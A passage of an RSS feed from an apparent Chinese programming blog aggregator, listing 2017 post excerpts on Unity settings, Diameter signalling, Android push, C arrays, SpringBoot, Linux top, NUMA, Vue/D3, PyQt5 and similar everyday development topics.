      <description>主要设置都在PlayerSettings里面&#xA;Company Name：设置公司名称&#xA;Product Name：设置项目名称，这个获取窗体句柄的时候用的到&#xA;Default Icon：默认的exe图标，更改打包好的exe文件的icon&#xA;Default Cursor：默认的鼠标图标，就是更改鼠标样式&#xA;Cursor Hotspot：鼠标热点坐标？what&#39;s the fuck?查也查不到啥&#xA;Resolution and Presentation:分辨率和演示&#xA;Default Is Full Screen:默认是否全屏。&#xA;Default is Native Resolution:是否自动设置分辨率，如果勾上就是自动匹配分辨率，&#xA;没有勾上则会弹出两个参数设置窗体的高度和宽度。&#xA;Run in BackGround：当程序失去焦点后是否继续运行。&#xA;Standalone Player Options：独立 播放 选项&#xA;Capture Single Screen:捕获单屏，如果开启，在全屏模式下单机游戏不会在多显示器设置的第二显示器变暗。这个应该是是否只在主屏显示，还是可以再分屏中显示&#xA;Display Resolution Dialog:是否显示分辨率对话框，Disabled 禁用 Enabled 启用 Hidden by default默认隐藏&#xA;Use player Log:写入带有调试信息的日志。&#xA;Resizable Window:打成窗口模式后是否可以拖动窗体边界。&#xA;Mac App Store Validation：开启Mac应用商店验证。&#xA;//&#xA;Visible In Background:如果Visible In Background这个选项不挑勾的话，那每当打开文件，或者我切换到别的窗口时，U3D程序会自动最小化。&#xA;//&#xA;但是如果这个选项挑勾的话，则U3D程序就会像一个Windows窗口一样置后，但不会最小化。&#xA;这里有一个很坑的问题就是unity写的程序在win8和win10系统上开机自启时有时会直接最小化，这个问题困扰了好久，突然发现设置里面&#xA;有这个选项我马上就试试.希望能解决233.&#xA;Force single Instance：同时只允许打开一个程序。</description>
    </item>
    <item>
      <title>Gx接口diameter信令CER消息结构分析</title>
      <link>https://bchobby.github.io/posts/384d4baa2195fdc9d62c6e6dcaebafdb/</link>
      <pubDate>Thu, 04 May 2017 19:47:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/384d4baa2195fdc9d62c6e6dcaebafdb/</guid>
      <description>因为工作需要最近在学习调试Gx接口diameter信令相关的一些东西，将学到的东西写出来分享给大家，如有不足请指正，欢迎交流。&#xA;正常Gx接口信令是由9个AVP构成，在此例中，DRA是客户端，由DRA发起CER请求。&#xA;第一个AVP是发起CER请求方的主机名。&#xA;第二个AVP是发起CER请求方的域名。&#xA;第三个AVP是发起CER请求方的IP地址。&#xA;第四个AVP是发起CER请求方的IP地址。（一般来讲DRA会有两个IP同时对外服务，注意是同时，而不是主备）&#xA;第五个AVP是发起CER请求方的设备制造商标示。&#xA;第六个AVP是发起CER请求方的产品名称。&#xA;第七个AVP用于通告应用对安全部分的支持。&#xA;第八个AVP用于通告厂商定义的Diameter应用。惟一的Auth-Applicadon-Id与多个Vendor- Specific-Application-Id可能同时出现。此AVP必须为厂商自定义的应用中所有试验性指令的第一个AVP。&#xA;第九个AVP用于通告厂商定义的Diameter应用。惟一的Auth-Applicadon-Id与多个Vendor- Specific-Application-Id可能同时出现。此AVP必须为厂商自定义的应用中所有试验性指令的第一个AVP。</description>
    </item>
    <item>
      <title>App 为什么收不到推送？</title>
      <link>https://bchobby.github.io/posts/c8d10edf74b2b82187450d00fe2daacb/</link>
      <pubDate>Thu, 04 May 2017 18:20:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8d10edf74b2b82187450d00fe2daacb/</guid>
      <description>OK，我们分析下这个问题&#xA;首先，要知道 Android 分为两种类型的系统机型 轻度定制系统（也可称为原生态） Nexus、Pixel、三星，这些严格按照 Googlle 系统规范来做定制rom的深度定制系统 小米、魅族、锤子，这些是在 Google 的初版系统上修改了很多东西，比如说权限管理，通知栏样式等 推送为什么会收不到 因为推送后台服务被手机Kill，服务都被干掉了，试想如何能够收到推送 导致推送被Kill掉的原因 由于room被深度定制，各大厂商都有自己的权限管理，在一定时间内会被各大厂商Kill掉后台服务，尤其是内存不够用时会更快的被Kill掉；除非你的 App 被第三方厂商加入了白名单，后台服务畅通无阻，也就不存在推送收不到，例如微信 如何解决这个问题 根据不同的系统集成不同的推送，小米就用小米推送，华为就用华为推送，其他厂商用第三方推送（友盟、极光、个推等），这样一来基本上没啥问题了，就是比较麻烦&#xA;做一些保活方式，例如相互唤醒，内部去引导用户将 App 加入自启动列表，或者有些手机有加入『白名单』功能，在我看来除了加入白名单，其余的也只不过是增大保活率，而且其实也没啥屌用，最终都会被 Kill 掉&#xA;一个小白的一些理解，如有更好的做法或者看法欢迎讨论(=^ ^=)</description>
    </item>
    <item>
      <title>AMESim数据导出方法</title>
      <link>https://bchobby.github.io/posts/28543e1ff109e930924dfab02a53d87f/</link>
      <pubDate>Tue, 02 May 2017 21:01:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28543e1ff109e930924dfab02a53d87f/</guid>
      <description>将AMEPlot中的曲线导出数据到excel中。&#xA;一、保存图片。&#xA;在AMEPlot界面中，file- Expot plot to picture..&#xA;二、导出数据&#xA;1、在AMEPlot界面中，选择Save data，先保存为.data格式。&#xA;2、在记事本中打开.data文件。&#xA;（接着，用替换功能，将空格替换为tap键。这步也可以省略。）&#xA;然后将数据复制到excel中，更改下单元格格式就可以了。</description>
    </item>
    <item>
      <title>C语言中如何定义动态二维数组并输出</title>
      <link>https://bchobby.github.io/posts/24982f83f4adeec634cbc3da325d37b8/</link>
      <pubDate>Sun, 30 Apr 2017 17:31:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24982f83f4adeec634cbc3da325d37b8/</guid>
      <description>可以按照下面步骤进行定义二维数组并输出：&#xA;1 定义二维指针。&#xA;2 确定数组维数，即行数和列数。&#xA;3 申请行数个一维指针大小空间，并赋值给二维指针。&#xA;4 对于每个一维指，申请列数个元素的空间，并赋值给对应的一维指针。&#xA;5 输入或赋值数据。&#xA;6 使用双重循环，逐个范围存储单元并输出。&#xA;7 逐个释放一维指针上的内存。&#xA;8 释放二维指针上的内存。&#xA;以整型二维数组为例:&#xA;下面的代码，实现先输入二维数组的行数m和列数n，并再输入m*n个整型数据存到动态二维数组中。最后输出所有二维数组的元素值。&#xA;int main() { int **p; //定义二维指针。 int m, n; //行数和列数。 int i,j; scanf ( &#34;%d%d&#34; , &amp;amp;m, &amp;amp;n); //输入行数和列数。 if (m &amp;lt;= 0 || n &amp;lt;= 0) return -1; //行数或列数非法。 p = ( int **) malloc ( sizeof ( int *) *m); //申请一组一维指针空间。 for (i = 0; i &amp;lt; m; i ++) p[i] = ( int *) malloc ( sizeof ( int ) * n); //对于每个一维指针，申请一行数据的空间。 for (i = 0; i &amp;lt; m; i ++) for (j = 0; j &amp;lt; n; j ++) scanf ( &#34;</description>
    </item>
    <item>
      <title>无需启动项目测试spring  RunWith  ContextConfiguration</title>
      <link>https://bchobby.github.io/posts/a879ed002569bac6d0dc5948bd2fcc83/</link>
      <pubDate>Sat, 29 Apr 2017 21:19:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a879ed002569bac6d0dc5948bd2fcc83/</guid>
      <description> import java.util.List; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import org.springframework.test.context.transaction.TransactionConfiguration; import javax.annotation.Resource; import junit.framework.TestCase; import com.sinopec.carlife.model.Region; import com.sinopec.carlife.service.api.RegionService; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(locations ={&#34;classpath:spring/spring.xml&#34;}) @Transactional public class RegionServiceTest extends TestCase { @Resource(name=&#34;regionService&#34;) private RegionService regionService; @Test public void testFindRegions() { try { List&amp;lt;Region&amp;gt; regions = regionService.findRegions(); System.out.println(regions.size()); } catch (Exception e) { e.printStackTrace(); } } </description>
    </item>
    <item>
      <title>linux使用top命令跟踪进程的CPU占用率、内存使用率</title>
      <link>https://bchobby.github.io/posts/809b21efb58dacb34e0f1afcfbd81dc8/</link>
      <pubDate>Thu, 27 Apr 2017 15:26:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/809b21efb58dacb34e0f1afcfbd81dc8/</guid>
      <description>top命令是Linux下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于Windows的任务管理器&#xA;可以直接使用top命令查看整体情况，如图：&#xA;但是这样虽然看的东西多，但是闲的比较乱，并且从如此多的内容中找到我们所需要的也较为困难，故此可以增加一些参数来优化显示结果，使之更清晰。&#xA;例如，通过ps命令我们找到所要跟踪的进程的名字和ID&#xA;在确认进程信息之后我们就可以使用top命令来进程跟踪了。这里我们要学习下top命令的参数（此处为简述，有兴趣的同学可以找专门的材料进行学习）&#xA;-b：以批处理模式操作；&#xA;-c：显示完整的治命令；&#xA;-d：屏幕刷新间隔时间；&#xA;-I：忽略失效过程；&#xA;-s：保密模式；&#xA;-S：累积模式；&#xA;-i&amp;lt;时间&amp;gt;：设置间隔时间；&#xA;-u&amp;lt;用户名&amp;gt;：指定用户名；&#xA;-p&amp;lt;进程号&amp;gt;：指定进程；&#xA;-n&amp;lt;次数&amp;gt;：循环显示的次数。&#xA;以上就是可选参数，可以根据自己的需求进行组合。我们本次要使用的参数为d和p，使用d设置一个刷新时间，使用p来确定要看那些进程。&#xA;命令结果如下：&#xA;现在看到的结果就比较清晰了。&#xA;同学们学会了么。&#xA;欢迎交流。</description>
    </item>
    <item>
      <title>SpringBoot非官方教程 | 第七篇：springboot开启声明式事务</title>
      <link>https://bchobby.github.io/posts/b87046c4df1a516efb3ea0ebc197a573/</link>
      <pubDate>Wed, 26 Apr 2017 23:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b87046c4df1a516efb3ea0ebc197a573/</guid>
      <description>转载请标明出处：&#xA;http://blog.csdn.net/forezp/article/details/70833629&#xA;本文出自方志朋的博客&#xA;springboot开启事务很简单，只需要一个注解@Transactional 就可以了。因为在springboot中已经默认对jpa、jdbc、mybatis开启了事事务，引入它们依赖的时候，事物就默认开启。当然，如果你需要用其他的orm，比如beatlsql，就需要自己配置相关的事物管理器。&#xA;准备阶段 以上一篇文章的代码为例子，即springboot整合mybatis，上一篇文章是基于注解来实现mybatis的数据访问层，这篇文章基于xml的来实现，并开启声明式事务。&#xA;环境依赖 在pom文件中引入mybatis启动依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 引入mysql 依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0.29&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 初始化数据库脚本 -- create table `account` # DROP TABLE `account` IF EXISTS CREATE TABLE `account` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(20) NOT NULL, `money` double DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; INSERT INTO `account` VALUES (&#39;1&#39;, &#39;aaa&#39;, &#39;1000&#39;); INSERT INTO `account` VALUES (&#39;2&#39;, &#39;bbb&#39;, &#39;1000&#39;); INSERT INTO `account` VALUES (&#39;3&#39;, &#39;ccc&#39;, &#39;1000&#39;); 配置数据源 spring.</description>
    </item>
    <item>
      <title>petalinux-package qspi启动镜像的问题</title>
      <link>https://bchobby.github.io/posts/0f3900251ffbc27493f5871c39a6da47/</link>
      <pubDate>Wed, 26 Apr 2017 14:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f3900251ffbc27493f5871c39a6da47/</guid>
      <description>一段复制官方的解释 http://www.wiki.xilinx.com/Prepare+boot+image&#xA;Example: FSBL pre-loads Linux images This example contains - next to the obligatory boot loaders - images to boot Linux. In this case the FSBL loads those iamges to the address given by the load attribute in the .bif file. That way U-Boot would not have to load any images and would simply boot by directly issuing a matching bootm command. image : { [bootloader]fsbl.elf u-boot.elf [load=0x2a00000]devicetree.dtb [load=0x2000000]uramdisk.</description>
    </item>
    <item>
      <title>ArcGIS API for Javascript最方便的部署方式（懒人部署方式）</title>
      <link>https://bchobby.github.io/posts/751a92b55cb31838fa6921e48aa10ac3/</link>
      <pubDate>Wed, 26 Apr 2017 12:05:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/751a92b55cb31838fa6921e48aa10ac3/</guid>
      <description>关于ArcGIS API for Javascript 的部署，网上有很多资料，官方也有。很简单&#xA;第1步、下载ArcGIS APIfor Javascript，好像现在官网的下载不了。网上很多资源，可以去下载。&#xA;这里我下载的是3.17&#xA;说明：最好下载稍新一点的，以适应当前新的浏览器。（例3.5对ie11不兼容，鼠标滚轮放大缩小失控。）&#xA;第2步、以IIS为例，将下载下来的api放到想要的路径中。注意下载下来的api可以路径很深，可以只取api有用的文件夹。&#xA;IIS路径：&#xA;第3步：打开3.17下的install_win.html页面（以windows为例）。查看js文件路径配置说明。&#xA;官方的说明中都说的很清楚了，就是修改4个js文件中的路径。&#xA;问题：依官方的说法，我们只是给api固定1个访问路径。如果访问路径有变化，域名更替什么的。你只能乖乖再改一次路径。或者需要同时兼容内外网不同路径访问时。这现起来比较困难，可能需要部署两个api。再是api部署服务器迁移时，每次都要去改这4个路径。很麻烦。&#xA;（最新有个项目，一会部署到这个服务器、一会部署到另一个服务器；客户服务器为政务网，而具需要内外网两种模式兼容，内外网完全隔离的；按原方法部署可能要部署两个）&#xA;解决：这里有个方法可以实现一次性解决所有以上问题。&#xA;首先我们在这4个js文件的前面都加上以下代码：&#xA;（代码摘自： https://github.com/fsjohnhuang/getCurrAbsPath/blob/master/lib/getCurrAbsPath.js ）&#xA;(function(exports) {&#xA;var doc = exports.document,&#xA;a = {},&#xA;expose = +new Date(),&#xA;rExtractUri = /((?:http|https|file):\/\/.*?\/[^:]+)(?::\d+)?:\d+/,&#xA;isLtIE8 = (&#39;&#39; + doc.querySelector).indexOf(&#39;[native code]&#39;) === -1;&#xA;exports.getCurrAbsPath = function() {&#xA;// FF,Chrome&#xA;if (doc.currentScript) {&#xA;returndoc.currentScript.src;&#xA;}&#xA;var stack;&#xA;try {&#xA;a.b();&#xA;}&#xA;catch (e) {&#xA;stack =e.fileName || e.sourceURL || e.</description>
    </item>
    <item>
      <title>Modal模态框的防穿透问题，模态框弹出后，禁止body滑动事件</title>
      <link>https://bchobby.github.io/posts/1eeac9c84824e073f7ddf8ab4dcbf45d/</link>
      <pubDate>Wed, 26 Apr 2017 08:41:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eeac9c84824e073f7ddf8ab4dcbf45d/</guid>
      <description>我封装的模态框生成是这种结构的&#xA;代码插入：&#xA;&amp;lt;div class=&#34;wx-dialog&#34;&amp;gt; &amp;lt;div class=&#34;dialog-content&#34; id=&#34;pageinfo&#34;&amp;gt; &amp;lt;p class=&#34;pop-title&#34;&amp;gt;温馨提示&amp;lt;/p&amp;gt; &amp;lt;div class=&#34;pop-content&#34;&amp;gt;网络不给力哦，请重新进入~&amp;lt;/div&amp;gt; &amp;lt;p class=&#34;btn&#34;&amp;gt;&amp;lt;span class=&#34;confirmbtn&#34; style=&#34;width:100%;&#34;&amp;gt;知道了&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;$(&#39;.pop-content&#39;)的max-height是200px，当内容超过200px时，会有滚动条。 需要判断①手指touch的位置是否为.pop-content或者.pop-content的内容，若不是则阻止滚动；&#xA;②判断滚动条是否在.pop-content的最上方或者最下方，若是则阻止滚动。&#xA;于是有了下面的代码：&#xA;var popCnt = $(&#34;.pop-content&#34;); // 获取滚动条最高高度(内容总高度-显示的高度) var maxScrollTop = popCnt[0].scrollHeight - popCnt.height(), touchStartY = 0; // pop-content $(&#34;body&#34;).on(&#34;touchstart&#34;, function(e) { touchStartY = e.originalEvent.targetTouches[0].pageY; }).on(&#34;touchmove&#34;,function(e) { // 值是负数为往上滑，说明还在往下滚 // 正数为往下滑，说明还在往上滚 var moveLength = e.originalEvent.targetTouches[0].pageY- touchStartY; if (e.target.className != &#34;pop-content&#34;&amp;amp;&amp;amp; $(e.target).parents(&#34;.pop-content&#34;).length == 0) { e.preventDefault(); } else { var scrollTop = popCnt.</description>
    </item>
    <item>
      <title>简单选择排序及其改进算法</title>
      <link>https://bchobby.github.io/posts/5c9f7314aecc2ebf3709b3d1e34dfc7a/</link>
      <pubDate>Tue, 25 Apr 2017 08:52:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c9f7314aecc2ebf3709b3d1e34dfc7a/</guid>
      <description>1、未改进的简单选择排序&#xA;public static void main(String[] args) { int[] s={9,1,5,8,3,7,4,6,2}; SimpleSelectSort(s); } private static void SimpleSelectSort(int[] s) { for(int i=0;i&amp;lt;s.length;i++){ int min=i; for(int j=i+1;j&amp;lt;s.length;j++){ if(s[min]&amp;gt;s[j]) min=j; } if(min!=i){ int a=s[min]; s[min]=s[i]; s[i]=a; } for(int k=0;k&amp;lt;s.length;k++){ System.out.print(s[k]+&#34; &#34;); } System.out.println(); } } } 排序的结果如下： 1 9 5 8 3 7 4 6 2 1 2 5 8 3 7 4 6 9 1 2 3 8 5 7 4 6 9 1 2 3 4 5 7 8 6 9 1 2 3 4 5 7 8 6 9 1 2 3 4 5 6 8 7 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 2、改进之后的简单选择排序</description>
    </item>
    <item>
      <title>金蝶Apusic中间件中部署 SuperMap iServer</title>
      <link>https://bchobby.github.io/posts/15f7825947780a205fa21db66976f56b/</link>
      <pubDate>Fri, 21 Apr 2017 18:23:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15f7825947780a205fa21db66976f56b/</guid>
      <description>作者：MR&#xA;一、系统配置要求 本文使用软件版本为 iServer 8.1.1 、金蝶9.0；64位操作系统为 Windows 10_1607 和 Ubuntu 14.04_server。&#xA;文件如下：&#xA;supermap_iserver_8.1.1a_war.zip&#xA;AAS-V9.0_20170309.zip&#xA;Windows和Linux下安装部署过程相同。&#xA;二、安装金蝶 金蝶中间件需要jdk环境，所以需要先安装jdk，jdk版本应同时高于金蝶、iServer要求的版本。本文使用的金蝶要求jdk1.6及以上、iServer 8.1.1要求jre1.8及以上，所以这里使用JDK1.8(64位)。&#xA;安装JDK 可以使用安装包也可以使用解压包，这里省略。&#xA;安装金蝶 解压 AAS-V9.0_20170309.zip 文件即可，本文解压到以下目录：&#xA;Windows： F:\WORK\AAS&#xA;Linux： /opt/AAS&#xA;配置金蝶许可 将收到的许可文件重命名为 license.xml 放到金蝶解压目录即可，本文放到以下目录：&#xA;Windows： F:\WORK\AAS&#xA;Linux： /opt/AAS&#xA;启动、关闭&amp;amp;管理金蝶服务 可以通过脚本启动金蝶中间件。脚本位置：&#xA;Windows下：{金蝶安装目录}\domains{域}\bin\startapusic.cmd、stopapusic.cmd （双击或cmd窗口运行）&#xA;Linux下：{金蝶安装目录}/domains/{域}/bin/startapusic、stopapusic (bash或sh startapusic或stopapusic)&#xA;默认域是mydomain，所以本文的启动关闭脚本路径是：&#xA;Windows： F:\WORK\AAS\domains\mydomain\bin\startapusic.cmd、stopapusic.cmd&#xA;Linux： /opt/AAS/domains/mydomain/bin/startapusic、stopapusic&#xA;首次启动验证许可通过后，会提示设置管理员密码，管理员用户名是：admin&#xA;管理金蝶服务 浏览器访问：&#xA;http://{hostname}:6888/admin&#xA;本机访问可以将{hostname}替换成localhost或127.0.0.1；非本机访问则使用域名或IP。&#xA;其他可以参考金蝶安装目录下的readme.html。&#xA;部署iServer 解压 supermap_iserver_8.1.1a_war.zip 得到以下文件:&#xA;support_win_x64.zip （Windows下iServer依赖的SuperMap iObjects Java包）&#xA;support_linux_x64.tar.gz （Linux下iServer依赖的SuperMap iObjects Java包）&#xA;iserver.war （iServer部署包）&#xA;iserver#iClient.war （iServer自带iClient示范程序部署包）</description>
    </item>
    <item>
      <title>内存泄漏和内存溢出的区别和联系</title>
      <link>https://bchobby.github.io/posts/abb10a3d138ae2d6f68d45239b4b9f08/</link>
      <pubDate>Thu, 20 Apr 2017 16:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abb10a3d138ae2d6f68d45239b4b9f08/</guid>
      <description>1、内存泄漏memory leak :是指程序在申请内存后，无法释放已申请的内存空间，一次内存泄漏似乎不会有大的影响，但内存泄漏堆积后的后果就是内存溢出。 2、内存溢出 out of memory :指程序申请内存时，没有足够的内存供申请者使用，或者说，给了你一块存储int类型数据的存储空间，但是你却存储long类型的数据，那么结果就是内存不够用，此时就会报错OOM,即所谓的内存溢出。 3、二者的关系&#xA;内存泄漏的堆积最终会导致内存溢出内存溢出就是你要的内存空间超过了系统实际分配给你的空间，此时系统相当于没法满足你的需求，就会报内存溢出的错误。内存泄漏是指你向系统申请分配内存进行使用(new)，可是使用完了以后却不归还(delete)，结果你申请到的那块内存你自己也不能再访问（也许你把它的地址给弄丢了），而系统也不能再次将它分配给需要的程序。就相当于你租了个带钥匙的柜子，你存完东西之后把柜子锁上之后，把钥匙丢了或者没有将钥匙还回去，那么结果就是这个柜子将无法供给任何人使用，也无法被垃圾回收器回收，因为找不到他的任何信息。内存溢出：一个盘子用尽各种方法只能装4个果子，你装了5个，结果掉倒地上不能吃了。这就是溢出。比方说栈，栈满时再做进栈必定产生空间溢出，叫上溢，栈空时再做退栈也产生空间溢出，称为下溢。就是分配的内存不足以放下数据项序列,称为内存溢出。说白了就是我承受不了那么多，那我就报错， 4、内存泄漏的分类（按发生方式来分类）&#xA;常发性内存泄漏。发生内存泄漏的代码会被多次执行到，每次被执行的时候都会导致一块内存泄漏。 偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境，偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。 一次性内存泄漏。发生内存泄漏的代码只会被执行一次，或者由于算法上的缺陷，导致总会有一块仅且一块内存发生泄漏。比如，在类的构造函数中分配内存，在析构函数中却没有释放该内存，所以内存泄漏只会发生一次。 隐式内存泄漏。程序在运行过程中不停的分配内存，但是直到结束的时候才释放内存。严格的说这里并没有发生内存泄漏，因为最终程序释放了所有申请的内存。但是对于一个服务器程序，需要运行几天，几周甚至几个月，不及时释放内存也可能导致最终耗尽系统的所有内存。所以，我们称这类内存泄漏为隐式内存泄漏。 5、内存溢出的原因及解决方法：&#xA;内存溢出原因： 1.内存中加载的数据量过于庞大，如一次从数据库取出过多数据； 2.集合类中有对对象的引用，使用完后未清空，使得JVM不能回收； 3.代码中存在死循环或循环产生过多重复的对象实体； 4.使用的第三方软件中的BUG； 5.启动参数内存值设定的过小内存溢出的解决方案： 第一步，修改JVM启动参数，直接增加内存。(-Xms，-Xmx参数一定不要忘记加。)&#xA;第二步，检查错误日志，查看“OutOfMemory”错误前是否有其 它异常或错误。&#xA;第三步，对代码进行走查和分析，找出可能发生内存溢出的位置。&#xA;重点排查以下几点： 1.检查对数据库查询中，是否有一次获得全部数据的查询。一般来说，如果一次取十万条记录到内存，就可能引起内存溢出。这个问题比较隐蔽，在上线前，数据库中数据较少，不容易出问题，上线后，数据库中数据多了，一次查询就有可能引起内存溢出。因此对于数据库查询尽量采用分页的方式查询。&#xA;2.检查代码中是否有死循环或递归调用。&#xA;3.检查是否有大循环重复产生新对象实体。&#xA;4.检查对数据库查询中，是否有一次获得全部数据的查询。一般来说，如果一次取十万条记录到内存，就可能引起内存溢出。这个问题比较隐蔽，在上线前，数据库中数据较少，不容易出问题，上线后，数据库中数据多了，一次查询就有可能引起内存溢出。因此对于数据库查询尽量采用分页的方式查询。&#xA;5.检查List、MAP等集合对象是否有使用完后，未清除的问题。List、MAP等集合对象会始终存有对对象的引用，使得这些对象不能被GC回收。&#xA;第四步，使用内存查看工具动态查看内存使用情况</description>
    </item>
    <item>
      <title>numa,numa node 和物理内存</title>
      <link>https://bchobby.github.io/posts/a5b1d7d12239bd1313e693d2663b8102/</link>
      <pubDate>Thu, 20 Apr 2017 13:11:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5b1d7d12239bd1313e693d2663b8102/</guid>
      <description>[root@rac2 ~]# lscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 12 On-line CPU(s) list: 0-11 Thread(s) per core: 1 Core(s) per socket: 6 Socket(s): 2 NUMA node(s): 2 Vendor ID: GenuineIntel CPU family: 6 Model: 63 Model name: Intel(R) Xeon(R) CPU E5-2603 v3 @ 1.60GHz Stepping: 2 CPU MHz: 1398.625 BogoMIPS: 3205.07 Virtualization: VT-x L1d cache: 32K L1i cache: 32K L2 cache: 256K L3 cache: 15360K NUMA node0 CPU(s): 0-5 NUMA node1 CPU(s): 6-11 [root@rac2 ~]# numastat node0 node1 numa_hit 2815615 2618359 numa_miss 0 0 numa_foreign 0 0 interleave_hit 34872 34865 local_node 2815015 2580218 other_node 600 38141 [root@rac2 ~]# numactl --hardware available: 2 nodes (0-1) node 0 cpus: 0 1 2 3 4 5 node 0 size: 65425 MB -----&amp;gt;&amp;gt;numa node 0的内存大小 node 0 free: 62868 MB node 1 cpus: 6 7 8 9 10 11 node 1 size: 65536 MB -----&amp;gt;&amp;gt;numa node 1的内存大小,看这个结果貌似是numa的各个node瓜分物理内存.</description>
    </item>
    <item>
      <title>Vue和D3.js构建图表</title>
      <link>https://bchobby.github.io/posts/243523b0a2df05f1f402b00a3df2af63/</link>
      <pubDate>Thu, 20 Apr 2017 10:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/243523b0a2df05f1f402b00a3df2af63/</guid>
      <description>Vue 和D3.js构建简单曲线图 1.说明&#xA;采用Vue-cli脚手架;&#xA;采用原生D3.js;&#xA;曲线图。&#xA;分析&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;line&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;vue-line-chart&#39;,//名称 data() { //数据 return { data: [[ {x: 0, y: 5}, {x: 1, y: 9}, {x: 2, y: 7}, {x: 3, y: 5}, {x: 4, y: 3}, {x: 6, y: 4}, {x: 7, y: 2}, {x: 8, y: 3}, {x: 9, y: 2} ]] }; }, mounted() { this.render(this.data); //渲染图表 }, props:{ width:500, height:500, margin:50 }, methods: { getScales(){ //定义x坐标轴和y坐标轴的尺度 let width = 500, height = 500, margin = 50, x = d3.</description>
    </item>
    <item>
      <title>python3&#43;PyQt5 使用数据库表视图</title>
      <link>https://bchobby.github.io/posts/7f46bf2d9fcd838b6d1ff2293efa5cd2/</link>
      <pubDate>Wed, 19 Apr 2017 12:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f46bf2d9fcd838b6d1ff2293efa5cd2/</guid>
      <description>上文提到窗体可以一次性呈现出来自同一记录的各个域，但是对于用户希望能看到多条记录的表来说，就需要使用表格化的视图了。本文通过python3+pyqt5改写实现了python Qt gui 快速变成15章的例子，用户能够一次看到多条记录。&#xA;#!/usr/bin/env python3 import os import sys from PyQt5.QtCore import (PYQT_VERSION_STR, QDate, QFile, QRegExp, QVariant, QModelIndex,Qt) from PyQt5.QtWidgets import (QApplication,QComboBox, QDateTimeEdit, QDialog, QGridLayout, QHBoxLayout, QLabel, QLineEdit, QDateEdit,QMessageBox, QPushButton, QStyleOptionViewItem, QTableView,QVBoxLayout) from PyQt5.QtGui import QPixmap,QCursor,QRegExpValidator from PyQt5.QtSql import (QSqlDatabase, QSqlQuery, QSqlRelation, QSqlRelationalDelegate, QSqlRelationalTableModel,QSqlTableModel) import qrc_resources MAC = True try: from PyQt5.QtGui import qt_mac_set_native_menubar except ImportError: MAC = False ID = 0 NAME = ASSETID = 1 CATEGORYID = DATE = DESCRIPTION = 2 ROOM = ACTIONID = 3 ACQUIRED = 1 def createFakeData(): import random print(&#34;</description>
    </item>
    <item>
      <title>程序员4月书讯：Angular来了！</title>
      <link>https://bchobby.github.io/posts/f17125793037e457fec1b65465ce0952/</link>
      <pubDate>Wed, 19 Apr 2017 10:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f17125793037e457fec1b65465ce0952/</guid>
